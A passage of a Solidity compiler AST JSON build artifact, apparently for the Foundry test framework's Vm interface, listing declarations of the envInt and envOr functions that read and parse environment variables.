ge_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"9605:22:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12269,"nodeType":"FunctionDefinition","src":"9776:75:13","nodes":[],"documentation":{"id":12262,"nodeType":"StructuredDocumentation","src":"9634:137:13","text":"Gets the environment variable `name` and parses it as `int256`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"892a0c61","implemented":false,"kind":"function","modifiers":[],"name":"envInt","nameLocation":"9785:6:13","parameters":{"id":12265,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12264,"mutability":"mutable","name":"name","nameLocation":"9808:4:13","nodeType":"VariableDeclaration","scope":12269,"src":"9792:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12263,"name":"string","nodeType":"ElementaryTypeName","src":"9792:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9791:22:13"},"returnParameters":{"id":12268,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12267,"mutability":"mutable","name":"value","nameLocation":"9844:5:13","nodeType":"VariableDeclaration","scope":12269,"src":"9837:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12266,"name":"int256","nodeType":"ElementaryTypeName","src":"9837:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"9836:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12280,"nodeType":"FunctionDefinition","src":"10033:107:13","nodes":[],"documentation":{"id":12270,"nodeType":"StructuredDocumentation","src":"9857:171:13","text":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"42181150","implemented":false,"kind":"function","modifiers":[],"name":"envInt","nameLocation":"10042:6:13","parameters":{"id":12275,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12272,"mutability":"mutable","name":"name","nameLocation":"10065:4:13","nodeType":"VariableDeclaration","scope":12280,"src":"10049:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12271,"name":"string","nodeType":"ElementaryTypeName","src":"10049:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12274,"mutability":"mutable","name":"delim","nameLocation":"10087:5:13","nodeType":"VariableDeclaration","scope":12280,"src":"10071:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12273,"name":"string","nodeType":"ElementaryTypeName","src":"10071:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10048:45:13"},"returnParameters":{"id":12279,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12278,"mutability":"mutable","name":"value","nameLocation":"10133:5:13","nodeType":"VariableDeclaration","scope":12280,"src":"10117:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":12276,"name":"int256","nodeType":"ElementaryTypeName","src":"10117:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":12277,"nodeType":"ArrayTypeName","src":"10117:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"10116:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12290,"nodeType":"FunctionDefinition","src":"10331:91:13","nodes":[],"documentation":{"id":12281,"nodeType":"StructuredDocumentation","src":"10146:180:13","text":"Gets the environment variable `name` and parses it as `bool`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"4777f3cf","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"10340:5:13","parameters":{"id":12286,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12283,"mutability":"mutable","name":"name","nameLocation":"10362:4:13","nodeType":"VariableDeclaration","scope":12290,"src":"10346:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12282,"name":"string","nodeType":"ElementaryTypeName","src":"10346:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12285,"mutability":"mutable","name":"defaultValue","nameLocation":"10373:12:13","nodeType":"VariableDeclaration","scope":12290,"src":"10368:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12284,"name":"bool","nodeType":"ElementaryTypeName","src":"10368:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10345:41:13"},"returnParameters":{"id":12289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12288,"mutability":"mutable","name":"value","nameLocation":"10415:5:13","nodeType":"VariableDeclaration","scope":12290,"src":"10410:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12287,"name":"bool","nodeType":"ElementaryTypeName","src":"10410:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10409:12:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12300,"nodeType":"FunctionDefinition","src":"10616:97:13","nodes":[],"documentation":{"id":12291,"nodeType":"StructuredDocumentation","src":"10428:183:13","text":"Gets the environment variable `name` and parses it as `uint256`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"5e97348f","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"10625:5:13","parameters":{"id":12296,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12293,"mutability":"mutable","name":"name","nameLocation":"10647:4:13","nodeType":"VariableDeclaration","scope":12300,"src":"10631:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12292,"name":"string","nodeType":"ElementaryTypeName","src":"10631:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12295,"mutability":"mutable","name":"defaultValue","nameLocation":"10661:12:13","nodeType":"VariableDeclaration","scope":12300,"src":"10653:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12294,"name":"uint256","nodeType":"ElementaryTypeName","src":"10653:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10630:44:13"},"returnParameters":{"id":12299,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12298,"mutability":"mutable","name":"value","nameLocation":"10706:5:13","nodeType":"VariableDeclaration","scope":12300,"src":"10698:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12297,"name":"uint256","nodeType":"ElementaryTypeName","src":"10698:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10697:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12314,"nodeType":"FunctionDefinition","src":"10941:164:13","nodes":[],"documentation":{"id":12301,"nodeType":"StructuredDocumentation","src":"10719:217:13","text":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"c74e9deb","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"10950:5:13","parameters":{"id":12309,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12303,"mutability":"mutable","name":"name","nameLocation":"10972:4:13","nodeType":"VariableDeclaration","scope":12314,"src":"10956:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12302,"name":"string","nodeType":"ElementaryTypeName","src":"10956:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12305,"mutability":"mutable","name":"delim","nameLocation":"10994:5:13","nodeType":"VariableDeclaration","scope":12314,"src":"10978:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12304,"name":"string","nodeType":"ElementaryTypeName","src":"10978:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12308,"mutability":"mutable","name":"defaultValue","nameLocation":"11020:12:13","nodeType":"VariableDeclaration","scope":12314,"src":"11001:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12306,"name":"address","nodeType":"ElementaryTypeName","src":"11001:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12307,"nodeType":"ArrayTypeName","src":"11001:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"10955:78:13"},"returnParameters":{"id":12313,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12312,"mutability":"mutable","name":"value","nameLocation":"11098:5:13","nodeType":"VariableDeclaration","scope":12314,"src":"11081:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12310,"name":"address","nodeType":"ElementaryTypeName","src":"11081:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12311,"nodeType":"ArrayTypeName","src":"11081:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"11080:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12328,"nodeType":"FunctionDefinition","src":"11333:164:13","nodes":[],"documentation":{"id":12315,"nodeType":"StructuredDocumentation","src":"11111:217:13","text":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"2281f367","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"11342:5:13","parameters":{"id":12323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12317,"mutability":"mutable","name":"name","nameLocation":"11364:4:13","nodeType":"VariableDeclaration","scope":12328,"src":"11348:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12316,"name":"string","nodeType":"ElementaryTypeName","src":"11348:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12319,"mutability":"mutable","name":"delim","nameLocation":"11386:5:13","nodeType":"VariableDeclaration","scope":12328,"src":"11370:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12318,"name":"string","nodeType":"ElementaryTypeName","src":"11370:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12322,"mutability":"mutable","name":"defaultValue","nameLocation":"11412:12:13","nodeType":"VariableDeclaration","scope":12328,"src":"11393:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12320,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11393:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12321,"nodeType":"ArrayTypeName","src":"11393:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"11347:78:13"},"returnParameters":{"id":12327,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12326,"mutability":"mutable","name":"value","nameLocation":"11490:5:13","nodeType":"VariableDeclaration","scope":12328,"src":"11473:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12324,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11473:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12325,"nodeType":"ArrayTypeName","src":"11473:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"11472:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12342,"nodeType":"FunctionDefinition","src":"11724:162:13","nodes":[],"documentation":{"id":12329,"nodeType":"StructuredDocumentation","src":"11503:216:13","text":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"859216bc","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"11733:5:13","parameters":{"id":12337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12331,"mutability":"mutable","name":"name","nameLocation":"11755:4:13","nodeType":"VariableDeclaration","scope":12342,"src":"11739:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12330,"name":"string","nodeType":"ElementaryTypeName","src":"11739:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12333,"mutability":"mutable","name":"delim","nameLocation":"11777:5:13","nodeType":"VariableDeclaration","scope":12342,"src":"11761:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12332,"name":"string","nodeType":"ElementaryTypeName","src":"11761:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12336,"mutability":"mutable","name":"defaultValue","nameLocation":"11802:12:13","nodeType":"VariableDeclaration","scope":12342,"src":"11784:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12334,"name":"string","nodeType":"ElementaryTypeName","src":"11784:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12335,"nodeType":"ArrayTypeName","src":"11784:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"11738:77:13"},"returnParameters":{"id":12341,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12340,"mutability":"mutable","name":"value","nameLocation":"11879:5:13","nodeType":"VariableDeclaration","scope":12342,"src":"11863:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12338,"name":"string","nodeType":"ElementaryTypeName","src":"11863:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12339,"nodeType":"ArrayTypeName","src":"11863:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"11862:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12356,"nodeType":"FunctionDefinition","src":"12112:160:13","nodes":[],"documentation":{"id":12343,"nodeType":"StructuredDocumentation","src":"11892:215:13","text":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"64bc3e64","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"12121:5:13","parameters":{"id":12351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12345,"mutability":"mutable","name":"name","nameLocation":"12143:4:13","nodeType":"VariableDeclaration","scope":12356,"src":"12127:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12344,"name":"string","nodeType":"ElementaryTypeName","src":"12127:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12347,"mutability":"mutable","name":"delim","nameLocation":"12165:5:13","nodeType":"VariableDeclaration","scope":12356,"src":"12149:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12346,"name":"string","nodeType":"ElementaryTypeName","src":"12149:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12350,"mutability":"mutable","name":"defaultValue","nameLocation":"12189:12:13","nodeType":"VariableDeclaration","scope":12356,"src":"12172:29:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12348,"name":"bytes","nodeType":"ElementaryTypeName","src":"12172:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12349,"nodeType":"ArrayTypeName","src":"12172:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"12126:76:13"},"returnParameters":{"id":12355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12354,"mutability":"mutable","name":"value","nameLocation":"12265:5:13","nodeType":"VariableDeclaration","scope":12356,"src":"12250:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12352,"name":"bytes","nodeType":"ElementaryTypeName","src":"12250:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12353,"nodeType":"ArrayTypeName","src":"12250:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"12249:22:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12366,"nodeType":"FunctionDefinition","src":"12465:95:13","nodes":[],"documentation":{"id":12357,"nodeType":"StructuredDocumentation","src":"12278:182:13","text":"Gets the environment variable `name` and parses it as `int256`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"bbcb713e","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"12474:5:13","parameters":{"id":12362,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12359,"mutability":"mutable","name":"name","nameLocation":"12496:4:13","nodeType":"VariableDeclaration","scope":12366,"src":"12480:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12358,"name":"string","nodeType":"ElementaryTypeName","src":"12480:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12361,"mutability":"mutable","name":"defaultValue","nameLocation":"12509:12:13","nodeType":"VariableDeclaration","scope":12366,"src":"12502:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12360,"name":"int256","nodeType":"ElementaryTypeName","src":"12502:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"12479:43:13"},"returnParameters":{"id":12365,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12364,"mutability":"mutable","name":"value","nameLocation":"12553:5:13","nodeType":"VariableDeclaration","scope":12366,"src":"12546:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":12363,"name":"int256","nodeType":"ElementaryTypeName","src":"12546:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"12545:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12376,"nodeType":"FunctionDefinition","src":"12754:97:13","nodes":[],"documentation":{"id":12367,"nodeType":"StructuredDocumentation","src":"12566:183:13","text":"Gets the environment variable `name` and parses it as `address`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"561fe540","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"12763:5:13","parameters":{"id":12372,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12369,"mutability":"mutable","name":"name","nameLocation":"12785:4:13","nodeType":"VariableDeclaration","scope":12376,"src":"12769:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12368,"name":"string","nodeType":"ElementaryTypeName","src":"12769:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12371,"mutability":"mutable","name":"defaultValue","nameLocation":"12799:12:13","nodeType":"VariableDeclaration","scope":12376,"src":"12791:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12370,"name":"address","nodeType":"ElementaryTypeName","src":"12791:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12768:44:13"},"returnParameters":{"id":12375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12374,"mutability":"mutable","name":"value","nameLocation":"12844:5:13","nodeType":"VariableDeclaration","scope":12376,"src":"12836:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12373,"name":"address","nodeType":"ElementaryTypeName","src":"12836:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12835:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12386,"nodeType":"FunctionDefinition","src":"13045:97:13","nodes":[],"documentation":{"id":12377,"nodeType":"StructuredDocumentation","src":"12857:183:13","text":"Gets the environment variable `name` and parses it as `bytes32`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"b4a85892","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13054:5:13","parameters":{"id":12382,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12379,"mutability":"mutable","name":"name","nameLocation":"13076:4:13","nodeType":"VariableDeclaration","scope":12386,"src":"13060:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12378,"name":"string","nodeType":"ElementaryTypeName","src":"13060:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12381,"mutability":"mutable","name":"defaultValue","nameLocation":"13090:12:13","nodeType":"VariableDeclaration","scope":12386,"src":"13082:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12380,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13082:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"13059:44:13"},"returnParameters":{"id":12385,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12384,"mutability":"mutable","name":"value","nameLocation":"13135:5:13","nodeType":"VariableDeclaration","scope":12386,"src":"13127:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12383,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13127:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"13126:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12396,"nodeType":"FunctionDefinition","src":"13335:111:13","nodes":[],"documentation":{"id":12387,"nodeType":"StructuredDocumentation","src":"13148:182:13","text":"Gets the environment variable `name` and parses it as `string`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"d145736c","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13344:5:13","parameters":{"id":12392,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12389,"mutability":"mutable","name":"name","nameLocation":"13366:4:13","nodeType":"VariableDeclaration","scope":12396,"src":"13350:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12388,"name":"string","nodeType":"ElementaryTypeName","src":"13350:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12391,"mutability":"mutable","name":"defaultValue","nameLocation":"13388:12:13","nodeType":"VariableDeclaration","scope":12396,"src":"13372:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12390,"name":"string","nodeType":"ElementaryTypeName","src":"13372:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13349:52:13"},"returnParameters":{"id":12395,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12394,"mutability":"mutable","name":"value","nameLocation":"13439:5:13","nodeType":"VariableDeclaration","scope":12396,"src":"13425:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12393,"name":"string","nodeType":"ElementaryTypeName","src":"13425:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13424:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12406,"nodeType":"FunctionDefinition","src":"13638:109:13","nodes":[],"documentation":{"id":12397,"nodeType":"StructuredDocumentation","src":"13452:181:13","text":"Gets the environment variable `name` and parses it as `bytes`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"b3e47705","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13647:5:13","parameters":{"id":12402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12399,"mutability":"mutable","name":"name","nameLocation":"13669:4:13","nodeType":"VariableDeclaration","scope":12406,"src":"13653:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12398,"name":"string","nodeType":"ElementaryTypeName","src":"13653:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12401,"mutability":"mutable","name":"defaultValue","nameLocation":"13690:12:13","nodeType":"VariableDeclaration","scope":12406,"src":"13675:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":12400,"name":"bytes","nodeType":"ElementaryTypeName","src":"13675:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"13652:51:13"},"returnParameters":{"id":12405,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12404,"mutability":"mutable","name":"value","nameLocation":"13740:5:13","nodeType":"VariableDeclaration","scope":12406,"src":"13727:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12403,"name":"bytes","nodeType":"ElementaryTypeName","src":"13727:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"13726:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12420,"nodeType":"FunctionDefinition","src":"13972:158:13","nodes":[],"documentation":{"id":12407,"nodeType":"StructuredDocumentation","src":"13753:214:13","text":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not 